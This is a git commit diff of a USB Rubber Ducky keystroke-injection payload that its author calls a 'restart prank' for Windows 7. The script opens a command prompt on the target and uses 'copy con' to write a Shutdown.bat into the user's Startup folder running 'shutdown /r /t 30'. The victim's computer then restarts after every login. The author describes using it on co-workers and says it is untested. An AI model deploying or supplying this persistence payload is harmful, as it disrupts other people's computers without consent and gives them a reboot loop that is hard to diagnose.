Updated Payload restart prank (rdoc)

This commit is contained in:
hak5darren 2012-02-03 18:13:24 -08:00
parent 2f28403b53
commit e72e9326bf
1 changed files with 26 additions and 26 deletions

View File

@ -3,29 +3,29 @@ Duckencoder: 1.0
Target: Windows 7
Description: adds a shutdown.bat file to the users Startup folder that runs the the Shutdown command and restarts their computer.
REM /////////////////////////////////////////////////////////////////////////////////////////////////////////
REM /// I don't have a ducky (yet) but this is a trick I used to pull on co-workers. ///
REM /// Because I don't have a ducky I'm guessing at the delays based on other scripts. ///
REM ////////////////////////////////////////////////////////////////////////////////////////////////////////
REM Open the command line. You don't need admin because you are only adding to the Users Startup Directory
ESCAPE
CONTROL ESCAPE
DELAY 400
STRING cmd
ENTER
DELAY 100
REM start making Shutdown.bat
STRING copy con "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Shutdown.bat"
STRING @echo off
ENTER
STRING shutdown /r /t 30
REM The shutdown command has many good options '/t' adds a Delay, and '/r' restarts
REM '/s' will shut the computer down and '/l' (L) is to just logoff the user more options are available by running 'shutdown /?'
ENTER
CTRL z
STRING exit
ENTER
REM /////////////////////////////////////////////////////////////////////////////////////////////////////////
REM /// I think I did everything right in this, but i don't have a Ducky to test it with. Let me know ///
REM /// what you think or if I made a mistake. ///
REM /////////////////////////////////////////////////////////////////////////////////////////////////////////
REM /////////////////////////////////////////////////////////////////////////////////////////////////////////
REM /// I don't have a ducky (yet) but this is a trick I used to pull on co-workers. ///
REM /// Because I don't have a ducky I'm guessing at the delays based on other scripts. ///
REM ////////////////////////////////////////////////////////////////////////////////////////////////////////
REM Open the command line. You don't need admin because you are only adding to the Users Startup Directory
ESCAPE
CONTROL ESCAPE
DELAY 400
STRING cmd
ENTER
DELAY 100
REM start making Shutdown.bat
STRING copy con "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Shutdown.bat"
STRING @echo off
ENTER
STRING shutdown /r /t 30
REM The shutdown command has many good options '/t' adds a Delay, and '/r' restarts
REM '/s' will shut the computer down and '/l' (L) is to just logoff the user more options are available by running 'shutdown /?'
ENTER
CTRL z
STRING exit
ENTER
REM /////////////////////////////////////////////////////////////////////////////////////////////////////////
REM /// I think I did everything right in this, but i don't have a Ducky to test it with. Let me know ///
REM /// what you think or if I made a mistake. ///
REM /////////////////////////////////////////////////////////////////////////////////////////////////////////